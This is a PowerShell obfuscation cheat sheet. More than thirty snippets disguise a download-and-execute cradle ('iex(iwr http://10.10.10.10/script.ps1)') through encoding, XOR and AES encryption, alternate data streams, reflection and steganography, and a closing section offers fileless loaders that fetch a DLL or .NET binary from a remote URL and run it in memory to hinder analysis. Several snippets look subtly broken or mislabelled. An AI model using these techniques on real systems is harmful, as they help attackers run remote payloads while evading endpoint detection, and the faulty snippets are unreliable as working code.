PowerShell: Obfuscation Techniques

Here is a list of different PowerShell Obfuscation Techniques, in no particular order:

Example command to execute iex(iwr http://10.10.10.10/script.ps1):

  • Concatenation:
$a = "iex"
$b = "iwr"
$c = "http:" + "//10.10.10.10/script.ps1"
& $a (& $b $c)
  • Reordering using formatting operator (-f):
"{1}{0}" -f "(iwr http://10.10.10.10/script.ps1)", "iex "
  • Escaping character:
iex (iwr http`:`//10.10.10.10/`script.ps1)
  • Base64 format:
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encoded
  • Up\Low case:
iEx(iWr http://10.10.10.10/ScrIpt.Ps1)
  • White spaces:
iex   (  iwr   http://10.10.10.10/script.ps1 )
  • String reversal:
$command = "iex (iwr http://10.10.10.10/script.ps1)" -split '' | ForEach-Object { $_[($_.length-1)..0] } | Join-String
$reverse = [ScriptBlock]::Create($command)
& $reverse.Invoke()
  • Environment variable substitution:
$env:i = "iex"
$env:w = "iwr"
& $env:i (& $env:w http://10.10.10.10/script.ps1)
  • Command alias substitution:
$alias_iex = Get-Alias -Name iex
$alias_iwr = Get-Alias -Name iwr
& $alias_iex::Definition (& $alias_iwr::Definition http://10.10.10.10/script.ps1)
  • Function definition:
function ObfuscatedIex { iex (iwr http://10.10.10.10/script.ps1) }
ObfuscatedIex
  • Variable character replacement:
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$obfuscated_command = $command.Replace('i', 'I').Replace('(', '{').Replace(')', '}')
Invoke-Expression -Command $obfuscated_command
  • Tick (`) obfuscation with variable:
$obfuscated_url = "http:`//10.10.10.10`/script` .`ps1"
iex (iwr $obfuscated_url)
  • Using a here-string for command storage:
$here_string = @'
iex (iwr http://10.10.10.10/script.ps1)
'@
Invoke-Expression $here_string
  • Using the ASCII code representation of characters:
$ascii_iex = [char]105 + [char]101 + [char]120
$ascii_iwr = [char]105 + [char]119 + [char]114
$url = "http://10.10.10.10/script.ps1"
& $ascii_iex (& $ascii_iwr $url)
  • Using hexadecimal representation of characters:
$hex_iex = [char]0x69 + [char]0x65 + [char]0x78
$hex_iwr = [char]0x69 + [char]0x77 + [char]0x72
$url = "http://10.10.10.10/script.ps1"
& $hex_iex (& $hex_iwr $url)
  • Using alternate data streams (ADS) to store and execute the command:
echo "iex (iwr http://10.10.10.10/script.ps1)" > hidden-command.txt:hiddenstream
Get-Content hidden-command.txt:hiddenstream | Invoke-Expression
  • Using .NET methods for string manipulation:
$concat_command = [String]::Concat("iex", " (iwr http://10.10.10.10/script.ps1)")
Invoke-Expression $concat_command
  • Using Base64 with alternate encoding:
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$bytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encoded
  • Base32 encoding and decoding using .NET methods:
# Encoding
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$bytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$base32 = [Convert]::ToBase64String($bytes).Replace('+', 'a').Replace('/', 'b').Replace('=', '')

# Decoding
$base64 = $base32.Replace('a', '+').Replace('b', '/').PadRight(([math]::Ceiling($base32.Length / 4)) * 4, '=')
$decodedBytes = [Convert]::FromBase64String($base64)
$decodedCommand = [System.Text.Encoding]::UTF8.GetString($decodedBytes)

Invoke-Expression $decodedCommand
  • XOR encryption and decryption:
# Encryption
$key = 0x3F
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$encrypted = $command.ToCharArray() | ForEach-Object { [char]($_ -bxor $key) } | Join-String

# Decryption
$decrypted = $encrypted.ToCharArray() | ForEach-Object { [char]($_ -bxor $key) } | Join-String

Invoke-Expression $decrypted
  • Using .NET methods for string obfuscation with StringBuilder:
$builder = New-Object System.Text.StringBuilder
[void]$builder.Append("iex")
[void]$builder.Append(" (iwr http://10.10.10.10/script.ps1)")
$obfuscated_command = $builder.ToString()

Invoke-Expression $obfuscated_command
  • Obfuscating with .NET methods by converting command to a byte array and back to a string:
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$bytes = [System.Text.Encoding]::UTF8.GetBytes($command)
$byte_command = $bytes -join ','
$obfuscated_command = @"
`$bytes = @($byte_command)
[System.Text.Encoding]::UTF8.GetString(`$bytes)
"@

Invoke-Expression (Invoke-Expression $obfuscated_command)
  • Dynamic variable names:
$varName = "command"
$dynamicVarName = "var_$($varName)"
Set-Variable -Name $dynamicVarName -Value "iex (iwr http://10.10.10.10/script.ps1)"
Invoke-Expression (Get-Variable -Name $dynamicVarName -ValueOnly)
  • Using script blocks and dynamic execution:
$command = [ScriptBlock]::Create("iex (iwr http://10.10.10.10/script.ps1)")
& $command
  • Invoke token manipulation (obfuscate command tokens):
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$tokens = [System.Management.Automation.PSParser]::Tokenize($command, [ref]$null)
$obfuscatedCommand = ($tokens | ForEach-Object { $_.Content }) -join ''
Invoke-Expression $obfuscatedCommand
  • Using .NET reflection to call PowerShell methods:
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$invokeExpressionMethod = [System.Management.Automation.ScriptBlock].GetMethod("InvokeExpression", [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static)
$invokeExpressionMethod.Invoke($null, $command)
  • Compressing and decompressing the script using GzipStream:
function Compress-String ($string) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($string)
    $ms = New-Object System.IO.MemoryStream
    $gzip = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
    $gzip.Write($bytes, 0, $bytes.Length)
    $gzip.Close()
    $ms.ToArray()
}

function Decompress-Bytes ($bytes) {
    $ms = New-Object System.IO.MemoryStream($bytes)
    $gzip = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
    $reader = New-Object System.IO.StreamReader($gzip)
    $reader.ReadToEnd()
}

$command = "iex (iwr http://10.10.10.10/script.ps1)"
$compressed = Compress-String $command
$compressedBase64 = [Convert]::ToBase64String($compressed)

$compressedBytes = [Convert]::FromBase64String($compressedBase64)
$decompressed = Decompress-Bytes $compressedBytes

Invoke-Expression $decompressed
  • Using delegate types and dynamic method invocation:
$methodBody = @'
iex (iwr http://10.10.10.10/script.ps1)
'@

$delegateType = Add-Type -PassThru -TypeDefinition @"
using System;

public delegate void DynamicMethodDelegate();
"@

$scriptBlock = [scriptblock]::Create($methodBody)
$dynamicMethod = $scriptBlock.GetDelegateForFunctionPointer([IntPtr]::Zero, $delegateType)
$dynamicMethod.Invoke()
  • Obfuscating commands using XOR encryption and decryption:
function Xor-String ($string, $key) {
    $result = New-Object System.Text.StringBuilder
    for ($i = 0; $i -lt $string.Length; $i++) {
        [void]$result.Append([char]($string[$i] -bxor $key))
    }
    $result.ToString()
}

$key = 0x42
$command = "iex (iwr http://10.10.10.10/script.ps1)"
$encryptedCommand = Xor-String $command $key
$decryptedCommand = Xor-String $encryptedCommand $key

Invoke-Expression $decryptedCommand
  • Loading and executing a script from a remote location using a custom class and method:
$code = @"
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

public class CustomInvoker {
    public static void Execute(string url) {
        using (PowerShell ps = PowerShell.Create()) {
            string script = (new System.Net.WebClient()).DownloadString(url);
            ps.AddScript(script);
            ps.Invoke();
        }
    }
}
"@

Add-Type -TypeDefinition $code

[CustomInvoker]::Execute("http://10.10.10.10/script.ps1")
  • Employing steganography to hide the script within an image:
function Hide-ScriptInImage ($script, $imagePath) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($script)
    $base64 = [Convert]::ToBase64String($bytes)
    $image = [System.Drawing.Image]::FromFile($imagePath)
    $graphics = [System.Drawing.Graphics]::FromImage($image)
    $font = New-Object System.Drawing.Font("Arial", 1)
    $brush = [System.Drawing.Brushes]::Black
    $point = New-Object System.Drawing.Point(0, 0)
    $graphics.DrawString($base64, $font, $brush, $point)
    $image.Save($imagePath)
}

function Extract-ScriptFromImage ($imagePath) {
    $image = [System.Drawing.Image]::FromFile($imagePath)
    $bmp = New-Object System.Drawing.Bitmap($image)
    $base64 = ""
    for ($x = 0; $x -lt $bmp.Width; $x++) {
        $color = $bmp.GetPixel($x, 0)
        if ($color.R -eq 0 -and $color.G -eq 0 -and $color.B -eq 0) {
            $base64 += [char]$color.A
        } else {
            break
        }
    }
    $bytes = [Convert]::FromBase64String($base64)
    [System.Text.Encoding]::UTF8.GetString($bytes)
}

$script = "iex (iwr http://10.10.10.10/script.ps1)"

$imagePath = "C:\path\to\image.png"

# Hide the script in the image
Hide-ScriptInImage -script $script -imagePath $imagePath

# Extract the script from the image
$hiddenScript = Extract-ScriptFromImage -imagePath $imagePath

# Execute the extracted script
Invoke-Expression $hiddenScript<code>
  • Using reflection to execute methods from .NET libraries:
$webClientType = [System.Net.WebClient].FullName
$webClient = [Activator]::CreateInstance([Type]::GetType($webClientType))
$downloadStringMethod = $webClient.GetType().GetMethod("DownloadString")

$url = "http://10.10.10.10/script.ps1"
$downloadedScript = $downloadStringMethod.Invoke($webClient, @($url))

Invoke-Expression $downloadedScript
  • Employing AES encryption to obfuscate and execute a script:
function Encrypt-Script ($script, $key, $iv) {
    $aes = New-Object System.Security.Cryptography.AesManaged
    $aes.Key = $key
    $aes.IV = $iv

    $encryptor = $aes.CreateEncryptor()
    $data = [System.Text.Encoding]::UTF8.GetBytes($script)
    $encryptedData = $encryptor.TransformFinalBlock($data, 0, $data.Length)

    $aes.Dispose()
    $encryptedData
}

function Decrypt-Script ($encryptedData, $key, $iv) {
    $aes = New-Object System.Security.Cryptography.AesManaged
    $aes.Key = $key
    $aes.IV = $iv

    $decryptor = $aes.CreateDecryptor()
    $decryptedData = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)

    $aes.Dispose()
    [System.Text.Encoding]::UTF8.GetString($decryptedData)
}

$script = "iex (iwr http://10.10.10.10/script.ps1)"
$key = [System.Text.Encoding]::UTF8.GetBytes("1234567890123456") # 16-byte key (128 bits)
$iv = [System.Text.Encoding]::UTF8.GetBytes("1234567890123456")  # 16-byte initialization vector

$encryptedScript = Encrypt-Script $script $key $iv
$decryptedScript = Decrypt-Script $encryptedScript $key $iv

Invoke-Expression $decryptedScript
  • Using dynamic type creation and method execution with CodeDOM:
$code = @"
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

public class DynamicInvoker {
    public static void Execute(string url) {
        using (PowerShell ps = PowerShell.Create()) {
            string script = (new System.Net.WebClient()).DownloadString(url);
            ps.AddScript(script);
            ps.Invoke();
        }
    }
}
"@

$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$compilerParameters.GenerateInMemory = $true

$codeDomProvider = [System.CodeDom.Compiler.CodeDomProvider]::CreateProvider("CSharp")
$compilationResults = $codeDomProvider.CompileAssemblyFromSource($compilerParameters, $code)

if (-not $compilationResults.Errors.HasErrors) {
    $assembly = $compilationResults.CompiledAssembly
    $dynamicInvokerType = $assembly.GetType("DynamicInvoker")
    $dynamicInvokerType.InvokeMember("Execute", [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, @("http://10.10.10.10/script.ps1"))
} else {
    Write-Host "Compilation failed"
}
  • Using RunspacePool for parallel execution and obfuscation:
function Execute-ScriptInRunspacePool {
    param(
        [string]$Url
    )

    $script = (New-Object System.Net.WebClient).DownloadString($Url)

    $iss = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
    $runspacePool = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspacePool(1, 5, $iss, $Host)
    $runspacePool.Open()

    $pipeline = [System.Management.Automation.Runspaces.Pipeline]::Create($runspacePool)
    $pipeline.Commands.AddScript($script)
    $pipeline.InvokeAsync()
}

Execute-ScriptInRunspacePool -Url "http://10.10.10.10/script.ps1"

These techniques can be combined and modified to create even more complex obfuscations. As always, remember that attackers often use obfuscation techniques to evade detection, so use them responsibly and only for legitimate purposes.

This script downloads a DLL from a remote location, loads it into memory using reflection, and then invokes a method from the loaded DLL. The script doesn’t write the DLL to disk, making it harder to analyze the loaded library.

function Load-DLLFromRemote {
    param(
        [string]$Url
    )

    # Download the DLL from the remote URL
    $webClient = New-Object System.Net.WebClient
    $dllBytes = $webClient.DownloadData($Url)

    # Load the DLL into memory
    $assembly = [System.Reflection.Assembly]::Load($dllBytes)

    # Invoke a method from the loaded DLL (replace 'NamespaceName', 'ClassName', and 'MethodName' with actual names)
    $type = $assembly.GetType("NamespaceName.ClassName")
    $method = $type.GetMethod("MethodName")
    $result = $method.Invoke($null, $null)

    return $result
}

# Call the function with the URL of the DLL (replace with the actual URL)
$result = Load-DLLFromRemote -Url "http://example.com/your-dll-file.dll"

This script downloads a .NET binary (executable) from a remote location, loads it into memory using reflection, and then invokes its entry point. The script doesn’t write the binary to disk, making it harder to analyze the loaded executable.

function Execute-RemoteDotNetBinary {
    param(
        [string]$Url
    )

    # Download the .NET binary from the remote URL
    $webClient = New-Object System.Net.WebClient
    $binaryBytes = $webClient.DownloadData($Url)

    # Load the .NET binary into memory
    $assembly = [System.Reflection.Assembly]::Load($binaryBytes)

    # Get the entry point of the .NET binary
    $entryPoint = $assembly.EntryPoint

    # Invoke the entry point
    $result = $entryPoint.Invoke($null, @(@(,$null)))

    return $result
}

# Call the function with the URL of the .NET binary (replace with the actual URL)
$result = Execute-RemoteDotNetBinary -Url "http://example.com/your-dotnet-binary.exe"

Here are the modified versions of the previous examples that include passing command line arguments:

Remote DLL with arguments:

function Load-DLLFromRemote {
    param(
        [string]$Url,
        [string[]]$Arguments
    )

    # Download the DLL from the remote URL
    $webClient = New-Object System.Net.WebClient
    $dllBytes = $webClient.DownloadData($Url)

    # Load the DLL into memory
    $assembly = [System.Reflection.Assembly]::Load($dllBytes)

    # Invoke a method from the loaded DLL (replace 'NamespaceName', 'ClassName', and 'MethodName' with actual names)
    $type = $assembly.GetType("NamespaceName.ClassName")
    $method = $type.GetMethod("MethodName")
    $result = $method.Invoke($null, @($Arguments))

    return $result
}

# Call the function with the URL of the DLL and arguments (replace with the actual URL and arguments)
$result = Load-DLLFromRemote -Url "http://example.com/your-dll-file.dll" -Arguments @("arg1", "arg2")

Remote .NET binary with arguments:

function Execute-RemoteDotNetBinary {
    param(
        [string]$Url,
        [string[]]$Arguments
    )

    # Download the .NET binary from the remote URL
    $webClient = New-Object System.Net.WebClient
    $binaryBytes = $webClient.DownloadData($Url)

    # Load the .NET binary into memory
    $assembly = [System.Reflection.Assembly]::Load($binaryBytes)

    # Get the entry point of the .NET binary
    $entryPoint = $assembly.EntryPoint

    # Invoke the entry point with arguments
    $result = $entryPoint.Invoke($null, @($Arguments))

    return $result
}

# Call the function with the URL of the .NET binary and arguments (replace with the actual URL and arguments)
$result = Execute-RemoteDotNetBinary -Url "http://example.com/your-dotnet-binary.exe" -Arguments @("arg1", "arg2")

These modified scripts now accept an additional parameter $Arguments, which is an array of strings representing the command line arguments to pass to the invoked method or entry point.